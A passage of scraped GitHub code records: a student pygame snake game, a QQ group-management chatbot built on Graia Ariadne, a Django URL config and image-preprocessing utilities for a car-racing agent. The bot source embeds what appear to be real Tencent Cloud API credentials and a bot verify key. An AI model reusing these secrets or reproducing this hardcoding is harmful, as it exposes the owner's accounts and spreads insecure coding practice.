"line_number": 22, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 27, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 32, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 41, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 44, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 47, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 59, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 66, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 68, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 69, "usage_type": "call"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 98, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 98, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 106, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 115, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 122, "usage_type": "call"}]}
{"seq_id": "10197566216", "text": "# project for coursework\r\n\r\nimport pygame    # this module we need to install to use in our project\r\nimport sys       # this module we need to install to use in our project\r\nimport random    # this module we need to install to use in our project\r\n\r\npygame.init()\r\n\r\nclass Snake(object):      #we call the snake with class\r\n    def init(self):\r\n        self.length = 1  # length of snake\r\n        self.positions = [((WIDTH/2), (HEIGHT/2))]     # snake always starts from the middle\r\n        self.direction = random.choice([UP, DOWN, LEFT, RIGHT])  # snake goes wherever the user runs\r\n        self.color = green  # color of the snake\r\n\r\n\r\n    def get_head_position(self):     # for checking where the head is\r\n        return self.positions[0]   # every time snake starts from one fixed place\r\n\r\n    def turn(self, point):\r\n        if self.length > 1 and (point[0] * -1, point[1] * -1) == self.direction:  # turning when it gets against the food\r\n            return   # turn back if it is\r\n        else:\r\n            self.direction = point  # then eat the food\r\n\r\n    def move(self):  # for the movement of nake\r\n        cur = self.get_head_position()  # to find head\r\n        x, y = self.direction   # depending on the interaction goes right, left, up or down\r\n        new = (((cur[0] + (x * GRID_SIZE)) % WIDTH), (cur[1] + (y * GRID_SIZE)) % HEIGHT)\r\n        if len(self.positions) > 2 and new in self.positions[2:]:  # new parts follow the head\r\n            self.reset()\r\n        else:\r\n            self.positions.insert(0, new)\r\n            if len(self.positions) > self.length:   # if positions get bigger than length\r\n                self.positions.pop()  # when it gets too long it cuts last part of the tail\r\n\r\n    def reset(self):\r\n        self.length = 1   # every time it starts from one single head when it hits itself\r\n        self.positions = [((WIDTH / 2), (HEIGHT / 2))]  # starts from the middle of the screen\r\n        self.direction = random.choice([UP, DOWN, LEFT, RIGHT])\r\n\r\n    def draw(self, surface):\r\n        for p in self.positions:\r\n            r = pygame.Rect((p[0], p[1]), (GRID_SIZE, GRID_SIZE))  # segments of body look like\r\n            pygame.draw.rect(surface, self.color, r)\r\n            pygame.draw.rect(surface, black, r, 1)   # makes very skinny line\r\n\r\n    def handle_keys(self):\r\n        for event in pygame.event.get():\r\n            if event.type == pygame.QUIT:  # if the user wants to quit\r\n                pygame.quit()   # close the game\r\n                sys.exit()   # these codes are for when the user wants to exit\r\n            elif event.type == pygame.KEYDOWN:\r\n                if event.key == pygame.K_UP:  # if user wants to go up\r\n                    self.turn(UP)   # go up\r\n                elif event.key == pygame.K_DOWN:   # if user wants go down\r\n                    self.turn(DOWN)   # go down\r\n                elif event.key == pygame.K_LEFT:   # if user wants to go left\r\n                    self.turn(LEFT)    # go left\r\n                elif event.key == pygame.K_RIGHT:   # if user wants to go right\r\n                    self.turn(RIGHT)    # go right\r\n\r\nclass Food(object):\r\n    def __init__(self):\r\n        self.position = (0, 0)\r\n        self.color = red()    # color of the food\r\n        self.randomize_position() # it appears randomly\r\n\r\n    def randomize_position(self):\r\n        self.position = (random.randint(0, GRID_WIDTH - 1) * GRID_SIZE, random.randint(0, GRID_HEIGHT - 1) * GRID_SIZE) # it appears randomly inside the screen\r\n\r\n    def draw(self, surface):\r\n        r = pygame.Rect((self.position[0], self.position[1]), (GRID_SIZE, GRID_SIZE))   # modifying accurate food for snake\r\n        pygame.draw.rect(surface, self.color, r)    # color is going to be the same\r\n        pygame.draw.rect(surface, black, r, 1)   # color of the food is black\r\ndef drawGrid(surface):\r\n    for y in range(0, int(GRID_HEIGHT)):\r\n        for x in range(0, int(GRID_WIDTH)):\r\n            if ((x + y) % 2) == 0:\r\n                r = pygame.Rect((x * GRID_SIZE, y * GRID_SIZE), (GRID_SIZE, GRID_SIZE))  # location of pygame\r\n                pygame.draw.rect(surface, gray1, r)  # Grid color\r\n            else:\r\n                rr = pygame.Rect((x * GRID_SIZE, y * GRID_SIZE), (GRID_SIZE, GRID_SIZE))  # location of pygame\r\n                pygame.draw.rect(surface, gray1, rr)        # overall these codes for movement of food and snake inside the screen\r\n\r\n\r\n# Library variables for the game\r\nWIDTH = 500    # these are the size of the screen of pygame\r\nHEIGHT = 500  # these are the size of the screen of pygame\r\nGRID_SIZE = 20   # makes rectangle\r\nGRID_WIDTH = WIDTH / GRID_SIZE    # to call with one name and give size\r\nGRID_HEIGHT = HEIGHT / GRID_SIZE   # to call with one name and give size\r\ngray1 = (120, 120, 120)   # color for Grid size\r\ngray2 = (170, 170, 170)\r\ngreen = (20, 200, 50)\r\nblack = (0, 0, 0)  # food's color\r\nred = (200, 40, 40)\r\nUP = (0, -1)   # as it -y it goes to the up because it is located in upside\r\nDOWN = (0, 1)  # as it  y it goes to the down because it is located in downside\r\nLEFT = (-1, 0)  # as it -x it goes to the left because it is located in left side\r\nRIGHT = (1, 0)  # as it x it goes to the right because it is located in right side\r\nfont = pygame.font.Font('freesansbold.ttf', 30)\r\n\r\ndef main():\r\n    pygame.init()\r\n\r\n    clock = pygame.time.Clock()    # controls the speed of the game run\r\n    screen = pygame.display.set_mode((WIDTH, HEIGHT), 0, 32)   # define the screen\r\n\r\n    surface = pygame.Surface(screen.get_size())  # this gets the entire size fo screen and enable it contain multiple sizes\r\n    surface = surface.convert()\r\n    drawGrid(surface)    # giving this drawGrid at the beginning makes the screen work right away\r\n\r\n    snake = Snake()   # instance of the class\r\n    food = Food()     # instance of the class\r\n\r\n    score = 0\r\n    while True:\r\n        clock.tick(10)  # speed of the snake\r\n        snake.handle_keys()      # sub functions of food\r\n        drawGrid(surface)\r\n        snake.move()\r\n        if snake.get_head_position() == food.position:\r\n            snake.length += 1\r\n            score += 1    # when snake consumes food it becomes larger for one step\r\n            food.randomize_position()    # food appears wherever it wants\r\n        snake.draw(surface)\r\n        food.draw(surface)\r\n        screen.blit(surface, (0, 0))\r\n        text = font.render(\"Score {0}\".format(score), True, black)\r\n        screen.blit(text, (5, 10))   # when user gets one food 10 marks will be given\r\n        pygame.display.update()  # It updates the food and the snake\r\n\r\n\r\nmain()\r\n\r\n\r\n\r\n\r\n", "repo_name": "00012527/computer-science-coursework", "sub_path": "course.py", "file_name": "course.py", "file_ext": "py", "file_size_in_byte": 6599, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pygame.init", "line_number": 7, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 13, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 40, "usage_type": "call"}, {"api_name": "pygame.Rect", "line_number": 44, "usage_type": "call"}, {"api_name": "pygame.draw.rect", "line_number": 45, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 45, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 46, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 46, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 49, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 49, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 50, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 51, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 52, "usage_type": "call"}, {"api_name": "pygame.KEYDOWN", "line_number": 53, "usage_type": "attribute"}, {"api_name": "pygame.K_UP", "line_number": 54, "usage_type": "attribute"}, {"api_name": "pygame.K_DOWN", "line_number": 56, "usage_type": "attribute"}, {"api_name": "pygame.K_LEFT", "line_number": 58, "usage_type": "attribute"}, {"api_name": "pygame.K_RIGHT", "line_number": 60, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 70, "usage_type": "call"}, {"api_name": "pygame.Rect", "line_number": 73, "usage_type": "call"}, {"api_name": "pygame.draw.rect", "line_number": 74, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 74, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 75, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 75, "usage_type": "attribute"}, {"api_name": "pygame.Rect", "line_number": 80, "usage_type": "call"}, {"api_name": "pygame.draw.rect", "line_number": 81, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 81, "usage_type": "attribute"}, {"api_name": "pygame.Rect", "line_number": 83, "usage_type": "call"}, {"api_name": "pygame.draw.rect", "line_number": 84, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 84, "usage_type": "attribute"}, {"api_name": "pygame.font.Font", "line_number": 102, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 102, "usage_type": "attribute"}, {"api_name": "pygame.init", "line_number": 105, "usage_type": "call"}, {"api_name": "pygame.time.Clock", "line_number": 107, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 107, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 108, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 108, "usage_type": "attribute"}, {"api_name": "pygame.Surface", "line_number": 110, "usage_type": "call"}, {"api_name": "pygame.display.update", "line_number": 132, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 132, "usage_type": "attribute"}]}
{"seq_id": "43924178190", "text": "# coding: utf-8\r\nimport asyncio\r\nimport json\r\nfrom os import replace\r\n\r\nfrom graia.broadcast import Broadcast\r\n\r\nfrom graia.ariadne.app import Ariadne\r\nfrom graia.ariadne.message.chain import MessageChain\r\nfrom graia.ariadne.message.element import At, Plain, Source\r\nfrom graia.ariadne.model import Friend, Group, Member, MiraiSession\r\n\r\nfrom tencentcloud.common import credential\r\nfrom tencentcloud.common.profile.client_profile import ClientProfile\r\nfrom tencentcloud.common.profile.http_profile import HttpProfile\r\nfrom tencentcloud.common.exception.tencent_cloud_sdk_exception import TencentCloudSDKException\r\nfrom tencentcloud.nlp.v20190408 import nlp_client, models\r\n\r\nfrom tinydb import TinyDB\r\nfrom tinydb.queries import Query\r\n\r\nloop = asyncio.new_event_loop()\r\n\r\nbcc = Broadcast(loop=loop)\r\napp = Ariadne(\r\n    broadcast=bcc,\r\n    connect_info=MiraiSession(\r\n        host=\"http://localhost:8080\",  # 填入 HTTP API 服务运行的地址\r\n        verify_key=\"DreamRain\",  # 填入 verifyKey\r\n        account=2177895968,  # 你的机器人的 qq 号\r\n    )\r\n)\r\n\r\ndb = TinyDB('text.json')\r\ntable = db.table('Content')\r\nquery = Query()\r\n\r\nadmin_qq = 1430881243\r\n\r\ndef digit(text):\r\n    \"\"\"\r\n    传入一个字符串，返回字符串中的数字\r\n    \"\"\"\r\n    return int(\"\".join(list(filter(lambda text:text.isdigit(), text))))\r\n\r\n\r\nif table.search(query.name == 'adminqq') == []:\r\n    table.insert({'name':'adminqq','cont':admin_qq})\r\nif table.search(query.name == 'illegalBool') == []:\r\n    table.insert({'name':'illegalBool','cont':False})\r\nif table.search(query.name == 'nlpBool') == []:\r\n    table.insert({'name':'nlpBool','cont':False})\r\n\r\n@bcc.receiver(\"GroupMessage\")\r\nasync def group_message_handler(app: Ariadne, group: Group, member: Member, message: MessageChain):\r\n\r\n\r\n######################初始区域##########################\r\n    messageContent = None\r\n    messageContentAt = None\r\n    times = None\r\n    adminList = []\r\n    illList = []\r\n    illBool = table.search(query.name == 'illegalBool')[0]['cont']\r\n    nlpBool = table.search(query.name == 'nlpBool')[0]['cont']\r\n    aiId = \"AKIDjHZaMs8AyWnnX1EApEMDnCPL0PXOxFH2\" # 获取到的腾讯云接口ID\r\n    aiKey = \"WklW0IJ4XjhOnvmMfiTyC9oDLCm57sMY\" # 获取到的腾讯云接口Key\r\n    botQQ = '2177895968' # 机器人QQ号\r\n\r\n    for i in table.search(query.name == 'adminqq'):\r\n        adminList.append(i['cont'])\r\n    \r\n    for i in table.search(query.name == 'Illegal'):\r\n        illList.append(i['cont'])\r\n\r\n######################测试区域##########################\r\n\r\n\r\n    # if \"测试\" in message.asDisplay():\r\n    #     await app.sendMessage(\r\n    #         group,\r\n    #         MessageChain.create(str(digit(str(message.get(Plain)))))\r\n    #     )\r\n\r\n#####################权限部分开始#######################\r\n    \r\n    \r\n    # 添加管理员\r\n    if message.asDisplay().startswith(\"添加管理员[At\"):\r\n        if member.id == admin_qq:\r\n            user_qq = message.getFirst(At).target\r\n            if user_qq not in adminList:\r\n                table.insert({'name':'adminqq','cont':user_qq}) # 往数据库加管理员QQ\r\n                messageContent = \"添加成功！祝贺新管理：\"\r\n                messageContentAt = user_qq\r\n            else:\r\n                messageContent = \"这个b已经是管理了喔~\"\r\n        else:\r\n            messageContent = \"你没有权限喔~\"\r\n\r\n    elif message.asDisplay().startswith(\"添加管理员\"):\r\n        if member.id == admin_qq:\r\n            user_qq = digit(message.asDisplay())\r\n            if user_qq not in adminList:\r\n                table.insert({'name':'adminqq','cont':user_qq}) # 往数据库加管理员QQ\r\n                messageContent = \"添加成功！祝贺新管理：\"\r\n                messageContentAt = user_qq\r\n            else:\r\n                messageContent = \"这个b已经是管理了喔~\"\r\n        else:\r\n            messageContent = \"你没有权限喔~\"\r\n\r\n    # 删除管理员\r\n    if message.asDisplay().startswith(\"删除管理员[At\"):\r\n        if member.id == admin_qq:\r\n            user_qq = message.getFirst(At).target\r\n            if user_qq in adminList:\r\n                table.remove(query.cont == user_qq) # 删除数据库中指定QQ\r\n                messageContent = \"删除成功！被删除管理：\"\r\n                messageContentAt = user_qq\r\n            else:\r\n                messageContent = \"这个b不是是管理喔~\"\r\n        else:\r\n            messageContent = \"你没有权限喔~\"\r\n            \r\n    elif message.asDisplay().startswith(\"删除管理员\"):\r\n        if member.id == admin_qq:\r\n            user_qq = digit(message.asDisplay())\r\n            if user_qq in adminList:\r\n                table.remove(query.cont == user_qq) # 删除数据库中指定QQ\r\n                messageContent = \"删除成功！被删除管理：\"\r\n                messageContentAt = user_qq\r\n            else:\r\n                messageContent = \"这个b不是是管理喔~\"\r\n        else:\r\n                messageContent = \"你没有权限喔~\"\r\n\r\n    # 查看管理员\r\n    if message.asDisplay() == \"查看管理员\":\r\n        if member.id == admin_qq or member.id in adminList:\r\n            messageContent = \"管理员列表：\" + str(adminList)\r\n        else:\r\n                messageContent = \"你没有权限喔~\"\r\n        \r\n#####################权限部分结束#######################\r\n\r\n\r\n######################群管理结束########################\r\n\r\n    # 禁言\r\n    if message.asDisplay().startswith(\"禁言[\"):\r\n        if member.id in adminList or member.id == admin_qq:\r\n            user_qq = message.getFirst(At).target\r\n            try:\r\n                times = digit(str(message.get(Plain)))\r\n            except: pass\r\n            if times == None:\r\n                await app.muteMember(\r\n                    group,\r\n                    user_qq,\r\n                    5 * 60\r\n                )\r\n                messageContent = \"被禁言5分钟\"\r\n            else:\r\n                await app.muteMember(\r\n                    group,\r\n                    user_qq,\r\n                    times * 60\r\n                )\r\n                messageContent = \"被禁言\" + str(times) + \"分钟\"\r\n        else:\r\n            messageContent = \"你没有权限喔~\"\r\n    \r\n    # 全体禁言\r\n    if message.asDisplay() == \"禁言全体\":\r\n        if member.id in adminList or member.id == admin_qq:\r\n            await app.muteAll(\r\n                group\r\n            )\r\n            messageContent = \"已开启全体禁言！\"\r\n        else:\r\n            messageContent = \"你没有权限喔~\"\r\n    \r\n    # 解除禁言\r\n    if message.asDisplay().startswith(\"解除禁言\"):\r\n        if member.id in adminList or member.id == admin_qq:\r\n            user_qq = message.getFirst(At).target\r\n            await app.unmuteMember(\r\n                group,\r\n                user_qq\r\n            )\r\n            messageContent = \"已解除禁言！\"\r\n        else:\r\n            messageContent = \"你没有权限喔~\"\r\n    \r\n    # 解除全体禁言\r\n    if message.asDisplay() == \"解除全体\":\r\n        if member.id in adminList or member.id == admin_qq:\r\n            await app.unmuteAll(\r\n                group\r\n            )\r\n            messageContent = \"已解除全体禁言！\"\r\n        else:\r\n            messageContent = \"你没有权限喔~\"\r\n\r\n    # 踢出某人\r\n    if message.asDisplay().startswith(\"踢出\"):\r\n        if member.id in adminList or member.id == admin_qq:\r\n            user_qq = message.getFirst(At).target\r\n            await app.kickMember(\r\n                group,\r\n                user_qq,\r\n                \"\"\r\n            )\r\n            messageContent = \"已踢出\" + str(user_qq)\r\n        else:\r\n            messageContent = \"你没有权限喔~\"\r\n\r\n#######################群管理结束#########################\r\n\r\n\r\n\r\n######################违禁词撤回开始######################\r\n\r\n    # 开启违禁词\r\n    if message.asDisplay() == \"开启违禁检测\":\r\n        if member.id in adminList or member.id == admin_qq:\r\n            table.update({'cont':True},query.name == 'illegalBool')\r\n            messageContent = '已开启违禁词检测！请注意发言喔~'\r\n\r\n    # 关闭违禁词\r\n    if message.asDisplay() == \"关闭违禁检测\":\r\n        if member.id in adminList or member.id == admin_qq:\r\n            table.update({'cont':False},query.name == 'illegalBool')\r\n            messageContent = '已关闭违禁词检测！大家畅所欲言吧~'\r\n\r\n    # 违禁词添加\r\n    if message.asDisplay().startswith('添加违禁词'):\r\n        if member.id in adminList or member.id == admin_qq:\r\n            illegal = message.asDisplay().replace(\"添加违禁词\",\"\").replace(\" \",\"\")\r\n            table.insert({'name':'Illegal','cont': illegal})\r\n            messageContent = '添加成功，新增违禁词：' + illegal\r\n\r\n    # 违禁词删除\r\n    if message.asDisplay().startswith('删除违禁词'):\r\n        if member.id in adminList or member.id == admin_qq:\r\n            illegal = message.asDisplay().replace(\"删除违禁词\",\"\").replace(\" \",\"\")\r\n            table.remove(query.cont == illegal)\r\n            messageContent = '删除成功，被删除违禁词：' + illegal\r\n\r\n    # 查看违禁词\r\n    if message.asDisplay() == \"查看违禁词\":\r\n        if illBool:\r\n            messageContent = \"当前违禁词状态：开启\\n违禁词列表：\" + str(illList)\r\n        else:\r\n            messageContent = \"当前违禁词状态：关闭\\n违禁词列表：\" + str(illList)\r\n\r\n    # 违禁词撤回\r\n    if illBool:\r\n        for illegal in illList:\r\n            if illegal in message.asDisplay():\r\n                text = message.asDisplay()\r\n                await app.recallMessage(\r\n                    message.get(Source)[0].id\r\n                )\r\n                await app.sendGroupMessage(\r\n                    group,\r\n                    MessageChain.create(\r\n                        Plain(\"发现违禁词！已经撤回违禁消息！\\n触发者：\"),\r\n                        At(member.id),\r\n                        Plain(\"\\n违禁内容：\" + text.replace(illegal,len(illegal) * '*'))\r\n                    )\r\n                )\r\n\r\n######################违禁词撤回结束######################\r\n\r\n\r\n######################智能聊天开始########################\r\n\r\n    # 开启智能聊天\r\n    if message.asDisplay() == '开启智能聊天':\r\n        if member.id in adminList or member.id == admin_qq:\r\n            table.update({'cont':True},query.name == 'nlpBool')\r\n            messageContent = '已开启智能聊天！快来一起和机器人玩耍吧~'\r\n\r\n    # 关闭智能聊天\r\n    if message.asDisplay() == '关闭智能聊天':\r\n        if member.id in adminList or member.id == admin_qq:\r\n            table.update({'cont':False},query.name == 'nlpBool')\r\n            messageContent = '已关闭智能聊天！机器人不能和大家愉快的聊天了~'\r\n\r\n    # 腾讯NLP智能聊天调用模块\r\n    if nlpBool:\r\n        try:\r\n            if message.asDisplay().startswith('[At:(' + botQQ + ')]') and '谁' not in  message.asDisplay():\r\n                cred = credential.Credential(aiId, aiKey)\r\n                httpProfile = HttpProfile()\r\n                httpProfile.endpoint = \"nlp.tencentcloudapi.com\"\r\n\r\n                clientProfile = ClientProfile()\r\n                clientProfile.httpProfile = httpProfile\r\n                client = nlp_client.NlpClient(cred, \"ap-guangzhou\", clientProfile)\r\n\r\n                req = models.ChatBotRequest()\r\n                params = {\r\n                    \"Query\": message.asDisplay().replace('[At:(' + botQQ + ')]','').replace(' ','')\r\n                }\r\n                req.from_json_string(json.dumps(params))\r\n\r\n                resp = client.ChatBot(req)\r\n                messageContent = json.loads(resp.to_json_string())[\"Reply\"]\r\n            elif  message.asDisplay().startswith('[At:(' + botQQ + ')]') and '谁' in  message.asDisplay():\r\n                messageContent = '我是梦雨正在开发的MirAi机器人喔~'\r\n            \r\n\r\n        except TencentCloudSDKException as err:\r\n            print(err)\r\n\r\n\r\n######################智能聊天结束########################\r\n\r\n\r\n\r\n\r\n######################消息发送开始########################\r\n\r\n    # 群消息事件消息发送出口\r\n    if messageContent != None:\r\n        if messageContentAt != None:\r\n            await app.sendGroupMessage(\r\n                            group,\r\n                            MessageChain.create(\r\n                                Plain(messageContent),\r\n                                At(messageContentAt)\r\n                            )\r\n                        )\r\n        else:\r\n            await app.sendGroupMessage(\r\n                            group,\r\n                            MessageChain.create(\r\n                                Plain(messageContent)\r\n                            )\r\n                        )\r\n######################消息发送结束########################\r\n\r\n@bcc.receiver(\"FriendMessage\")\r\nasync def friend_message_listener(app: Ariadne, friend: Friend, message: MessageChain):\r\n    if \"你\" in message.asDisplay() and \"谁\" in message.asDisplay():\r\n        await app.sendMessage(\r\n            friend, \r\n            MessageChain.create(\"我是梦雨正在开发的机器人鸭~\")\r\n        )\r\n    else:\r\n        await app.sendMessage(\r\n            friend, \r\n            MessageChain.create(\"Hello \" + friend.nickname + \",You said \" + message.asDisplay())\r\n        )\r\n\r\nloop.run_until_complete(app.lifecycle())\r\n", "repo_name": "DreamAileen/DreamRainBot", "sub_path": "bot.py", "file_name": "bot.py", "file_ext": "py", "file_size_in_byte": 13574, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "asyncio.new_event_loop", "line_number": 22, "usage_type": "call"}, {"api_name": "graia.broadcast.Broadcast", "line_number": 24, "usage_type": "call"}, {"api_name": "graia.ariadne.app.Ariadne", "line_number": 25, "usage_type": "call"}, {"api_name": "graia.ariadne.model.MiraiSession", "line_number": 27, "usage_type": "call"}, {"api_name": "tinydb.TinyDB", "line_number": 34, "usage_type": "call"}, {"api_name": "tinydb.queries.Query", "line_number": 36, "usage_type": "call"}, {"api_name": "graia.ariadne.app.Ariadne", "line_number": 55, "usage_type": "name"}, {"api_name": "graia.ariadne.model.Group", "line_number": 55, "usage_type": "name"}, {"api_name": "graia.ariadne.model.Member", "line_number": 55, "usage_type": "name"}, {"api_name": "graia.ariadne.message.chain.MessageChain", "line_number": 55, "usage_type": "name"}, {"api_name": "graia.ariadne.message.element.At", "line_number": 91, "usage_type": "argument"}, {"api_name": "graia.ariadne.message.element.At", "line_number": 116, "usage_type": "argument"}, {"api_name": "graia.ariadne.message.element.At", "line_number": 153, "usage_type": "argument"}, {"api_name": "graia.ariadne.message.element.Plain", "line_number": 155, "usage_type": "argument"}, {"api_name": "graia.ariadne.message.element.At", "line_number": 187, "usage_type": "argument"}, {"api_name": "graia.ariadne.message.element.At", "line_number": 209, "usage_type": "argument"}, {"api_name": "graia.ariadne.message.element.Source", "line_number": 264, "usage_type": "argument"}, {"api_name": "graia.ariadne.message.chain.MessageChain.create", "line_number": 268, "usage_type": "call"}, {"api_name": "graia.ariadne.message.chain.MessageChain", "line_number": 268, "usage_type": "name"}, {"api_name": "graia.ariadne.message.element.Plain", "line_number": 269, "usage_type": "call"}, {"api_name": "graia.ariadne.message.element.At", "line_number": 270, "usage_type": "call"}, {"api_name": "graia.ariadne.message.element.Plain", "line_number": 271, "usage_type": "call"}, {"api_name": "tencentcloud.common.credential.Credential", "line_number": 296, "usage_type": "call"}, {"api_name": "tencentcloud.common.credential", "line_number": 296, "usage_type": "name"}, {"api_name": "tencentcloud.common.profile.http_profile.HttpProfile", "line_number": 297, "usage_type": "call"}, {"api_name": "tencentcloud.common.profile.client_profile.ClientProfile", "line_number": 300, "usage_type": "call"}, {"api_name": "tencentcloud.nlp.v20190408.nlp_client.NlpClient", "line_number": 302, "usage_type": "call"}, {"api_name": "tencentcloud.nlp.v20190408.nlp_client", "line_number": 302, "usage_type": "name"}, {"api_name": "tencentcloud.nlp.v20190408.models.ChatBotRequest", "line_number": 304, "usage_type": "call"}, {"api_name": "tencentcloud.nlp.v20190408.models", "line_number": 304, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 308, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 311, "usage_type": "call"}, {"api_name": "tencentcloud.common.exception.tencent_cloud_sdk_exception.TencentCloudSDKException", "line_number": 316, "usage_type": "name"}, {"api_name": "graia.ariadne.message.chain.MessageChain.create", "line_number": 332, "usage_type": "call"}, {"api_name": "graia.ariadne.message.chain.MessageChain", "line_number": 332, "usage_type": "name"}, {"api_name": "graia.ariadne.message.element.Plain", "line_number": 333, "usage_type": "call"}, {"api_name": "graia.ariadne.message.element.At", "line_number": 334, "usage_type": "call"}, {"api_name": "graia.ariadne.message.chain.MessageChain.create", "line_number": 340, "usage_type": "call"}, {"api_name": "graia.ariadne.message.chain.MessageChain", "line_number": 340, "usage_type": "name"}, {"api_name": "graia.ariadne.message.element.Plain", "line_number": 341, "usage_type": "call"}, {"api_name": "graia.ariadne.app.Ariadne", "line_number": 347, "usage_type": "name"}, {"api_name": "graia.ariadne.model.Friend", "line_number": 347, "usage_type": "name"}, {"api_name": "graia.ariadne.message.chain.MessageChain", "line_number": 347, "usage_type": "name"}, {"api_name": "graia.ariadne.message.chain.MessageChain.create", "line_number": 351, "usage_type": "call"}, {"api_name": "graia.ariadne.message.chain.MessageChain", "line_number": 351, "usage_type": "name"}, {"api_name": "graia.ariadne.message.chain.MessageChain.create", "line_number": 356, "usage_type": "call"}, {"api_name": "graia.ariadne.message.chain.MessageChain", "line_number": 356, "usage_type": "name"}]}
{"seq_id": "22699666620", "text": "from django.conf.urls import url, include\nfrom django.conf import settings\nfrom django.contrib.staticfiles.urls import static, staticfiles_urlpatterns\nfrom django.contrib import admin\nfrom reg.views import *\n\napp_name='reg'\n\nurlpatterns = [\n\n\turl(r'^registeroff/$', offLineRegister, name=\"kaleidoscope\"),  # from register to registeroff\n\turl(r'main/$',intro,name='mainPage'),\n\turl(r'^details/$',details,name='details'),\n\turl(r'^details1/$',details1,name='details1'),\n\turl(r'^hostel/$',hostelPortal,name='hostel'),\n\turl(r'^hostelChange/$',hostelAllot, name='Hostel Change'),\n\turl(r'createID/$',createIdCard,name = 'createID'),\n\turl(r'submitID/$',submitId,name = 'submitID'),\n\turl(r'^idCard/$',IdCard, name='idCard'),\n]", "repo_name": "IshulJain/hospi", "sub_path": "reg/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 717, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.conf.urls.url", "line_number": 11, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 12, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 13, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 14, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 15, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 16, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 17, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 18, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 19, "usage_type": "call"}]}
{"seq_id": "6589474687", "text": "import numpy as np\nfrom torchvision import transforms\n\nLEFT =1\nRIGHT = 2\nSTRAIGHT = 0\nACCELERATE =3\nBRAKE = 4\n\ndef one_hot(labels):\n    \"\"\"\n    this creates a one hot encoding from a flat vector:\n    i.e. given y = [0,2,1]\n     it creates y_one_hot = [[1,0,0], [0,0,1], [0,1,0]]\n    \"\"\"\n    classes = np.unique(labels)\n    n_classes = classes.size\n    one_hot_labels = np.zeros(labels.shape + (n_classes,))\n    for c in classes:\n        one_hot_labels[labels == c, c] = 1.0\n    return one_hot_labels\n\ndef rgb2gray(rgb):\n    \"\"\" \n    this method converts rgb images to grayscale.\n    \"\"\"\n    gray = np.dot(rgb[...,:3], [0.2125, 0.7154, 0.0721])\n    return gray.astype('float32') \n\n\ndef action_to_id(a):\n    \"\"\" \n    this method discretizes the actions.\n    Important: this method only works if you recorded data pressing only one key at a time!\n    \"\"\"\n    if np.allclose(a, [-1.0, 0.0, 0.0]): return LEFT               # LEFT: 1\n    elif np.allclose(a, [1.0, 0.0, 0.0]): return RIGHT             # RIGHT: 2\n    elif np.allclose(a, [0.0, 1.0, 0.0]): return ACCELERATE        # ACCELERATE: 3\n    elif np.allclose(a, [0.0, 0.0, 0.2]): return BRAKE             # BRAKE: 4\n    else:       \n        return STRAIGHT                                      # STRAIGHT = 0\n\ndef id_to_action(id):\n    if id == LEFT: return [-1.0, 0.0, 0.0]\n    elif id == RIGHT: return [1.0, 0.0, 0.0]              \n    elif id == ACCELERATE: return [0.0, 1.0, 0.0]      \n    elif id == BRAKE: return [0.0, 0.0, 0.2]             \n    else:       \n        return [0.0, 0.0, 0.0]           \n\ndef data_preprocess(states):\n    \"\"\"\n    Remove score and convert rgb to grayscale \n    \"\"\"\n    transf = transforms.Compose([\n        transforms.ToPILImage(),\n        transforms.Grayscale(1),\n        transforms.Pad((12, 12, 12, 0)),\n        transforms.CenterCrop(84),\n        transforms.ToTensor()\n    ])\n\n    transf_np = transf(states).numpy()\n    return transf_np", "repo_name": "nateehuang/DRL_gym_carracing", "sub_path": "Imitation_Learning/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 1925, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": 